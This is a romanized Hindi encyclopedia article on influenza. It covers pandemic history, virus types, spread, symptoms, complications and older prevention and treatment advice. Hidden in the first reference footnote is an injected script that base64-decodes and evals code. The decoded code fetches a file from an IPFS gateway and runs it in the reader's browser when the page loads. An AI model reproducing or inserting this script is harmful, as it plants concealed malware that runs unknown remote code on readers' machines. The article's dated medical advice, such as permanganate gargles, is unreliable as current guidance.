इनफ्लुएंजा
inaphlueanja ek vishesh samooh ke vayaras ke karan manav samuday mean honevala ek sankramak rog hai. isamean jvar aur ati durbalata vishesh lakshan haian. phuphphusoan ke upadrav ki isamean bahut sanbhavana rahati hai. yah rog pray: mahamari ke roop mean phailata hai. bich-bich mean jahaan-tahaan rog hota rahata hai.
yah rog bahut prachinakal se hota aya hai. gat char shatabdiyoan mean kitani hi bar isaki mahamari phaili hai, jo kabhi-kabhi sansaravyapi tak ho gee hai. sanh 1889-92 aur 1918-20 mean sansaravyapi inaphlooeanja phaila tha. 1957 mean yah eshiya bhar mean phaila tha.
sanh 1933 mean smith, aiandrayoo aur ledalo ne inaphlueanja ke vayaras-e ka pata paya. phraansis aur maigil ne 1940 mean vayaras-bi ka avishkar kiya aur sanh 1948 mean telar ne vayaras-si ko khoj nikala. inamean se vayaras-e hi inaphleanja ke rogiyoan mean adhik paya jata hai. ye vayaras golakar hote haian aur inaka vyas 100 myoo ke lagabhag hota hai (1 myoo m milimitar). rog ki ugravastha mean shvasanatantr ke sab bhagoan mean yah vayaras upasthit paya jata he. shleshma (balagam) aur nak se nikalanevale srav mean tatha thook mean yah sada upasthit rahata hai, kiantu sharir ke any bhagoan mean nahian. nak aur gale ke prakshalanajal mean pratham se paanchavean aur kabhi-kabhi chhathe din tak vayaras milata hai. in tinoan prakar ke vayarasoan mean upajatiyaan bhi paee jati haian.
inaphlueanja ki pray: mahamari phailati hai jo sthaniy (ekadeshiy) athava adhik vyapak ho sakati hai. kee sthanoan, pradeshoan ya deshoan mean rog ek hi samay ubh d sakata hai. kee bar sare sansar mean yah rog ek hi samay phaila hai. isaka vishesh karan abhi tak nahian jnat hua hai.
rog ki mahamari kisi bhi samay phail sakati hai, yadyapi ja de mean ya usake kuchh age pichhe adhik phailati hai. isamean avrittichakroan mean phailane ki pravritti paee gee hai, arthath rog niyat kaloan par ata hai. vayaras-e ki mahamari prati do tin varsh par phailati hai. vayaras-bi ki mahamari prati chauthe ya paanchavean varsh phailati hai. vayaras-e ki mahamari bi ki apeksha adhik vyapak hoti hai. bhinn-bhinn mahamariyoan mean akraant rogiyoan ki sankhya ek se paanch pratishat se 20-30 pratishat tak rahi hai. sthanoan ki tangi, gandagi, khady aur ja de mean vastroan ki kami, nirdhanata adi dashaean rog ke phailane aur usaki ugrata badhane mean vishesh sahayak hoti haian. saghan bastiyoan mean rog shighrata se phailata hai aur shighr hi samapt ho jata hai. door-door basi huee bastiyoan mean do se tin mas tak bana rahata hai. rogi ke gale aur nasika ke srav mean vayaras rahata hai aur usi ke nikale chhiantoan dvara phailata hai (dr aaupalet inafekshan se rog hota hai). inhian aangoan mean rok ka vayaras ghusata bhi hai. rogavahak vyakti nahian pae ge haian, n rog ke akraman se rog-pratirodh-kshamata utpann hoti hai. chhah se ath mahine pashchath phir usi prakar ka rog ho sakata hai.
rog ka udbhavakal ek se do din tak hota hai. rog ke lakshanoan mean koee visheshata nahian paee jati. keval jvar aur atidurbalata hi is rog ke lakshan haian. inaka karan vayaras mean utpann hue jaivavish (t aauksin) jan p date haian. bhinn-bhinn mahamariyoan mean inaki tivrata vibhinn paee gee hai. jvar aur durbalata ke atirikt siradard, sharir mean pi da (visheshakar piandaliyoan aur pith mean), sookhi khaansi, gala baith jana, chhiank ana, aankh aur nak se pani bahana aur gale mean kshobh maloom hona, adi lakshan bhi hote haian. jvar 101 se 103 digri tak nirantar do ya tin din se lekar chhah din tak bana rah sakata hai. na di tap ki tulana mean drut gativali hoti hai. pariksha karane par netr lal aur mukh tamatamaya hua tatha charm ushn pratit hota hai. nak aur gale ke bhitar ki kala lal shothayukt dikhaee deti hai. pray: vaksh ya phuphphus mean kuchh nahi milata. rog ke tivr hone par jvar 105° se 106° tak pahuanch sakata hai.
is rog ka sadharan upadrav broanko nyoomoniya hai jisaka praranbh hote hi jvar 104° tak pahuanch jata haian. shvas ka veg badh jata hai, yah 50-60 prati minat tak ho sakata hai. na di 110 se 120 prati minat ho jati hai, kiantu shvasakasht nahian hota. sapooy shvasanalikarti (pyuruleant br aaunakaitis) bhi utpann ho sakati hai. khaansi kashtadayak hoti hai. shleshma jhagadar, shvet athava hara aur pooyayukt tatha durgandhayukt ho sakata hai. raktamishrit hone se vah bhoora ya lal rang ka ho sakata hai. phuphphus ki pariksha, karane par vishesh lakshan nahian milate. kiantu chhati thoankane par vishesh dhvani, jise aangreji mean ral kahate haian, mil sakati hai.
is rog ka aantrik roop bhi paya jata hai jisamean raktayukt atisar, vaman, ji michalana aur jvar hote haian.
rog ke any upadrav bhi ho sakate haian. svasth balakoan aur yuvaoan mean rogamukti ki bahut kuchh sanbhavana hoti hai. rogi tho de hi samay mean poorn svasthyalabh kar leta hai. asvasth, any rogoan se pi dit, durbal tatha vriddh vyaktiyoan mean itana poorn aur shighr svasthyalabh nahian hota. unamean phuphphus sanbandhi any rog utpann ho sakate haian.
rogarodhak chikitsa-mahamari ke samay adhik manushyoan ka ek sthan par ekatr hona anuchit hai. aise sthan mean jana rog ka ahvan karana hai. gale ko potas paramaianganet ke 1 : 4000 ke ghol se prat: sayan donoan samay garara karake svachchh karate rahana avashyak hai. inaphlooeanja vayaras ki vaiksin ka ianjekshan lena uttam hai. isase rog ki pravritti kam ho jati hai. do se lekar 12 mahine tak yah kshamata bani rahati hai. kiantu yah kshamata nishchit ya vishvasaniy nahian hai. vaiksin lie hue vyaktiyoan ko bhi rog ho sakata hai.[1]
is rog ki koee vishesh chikitsa abhi tak jnat nahian huee hai. chikitsa lakshanoan ke anusar hoti hai aur usaka mukhy uddeshy rogi ke bal ka sanrakshan hota hai. jab kisi any sankraman ka bhi pravesh ho gaya ho tabhi salpha tatha jivanudveshi (aiantibayotik) aushadhiyoan ka prayog karana chahie.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 527 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ d aau. satyaprakash gupt
sanbandhit lekh
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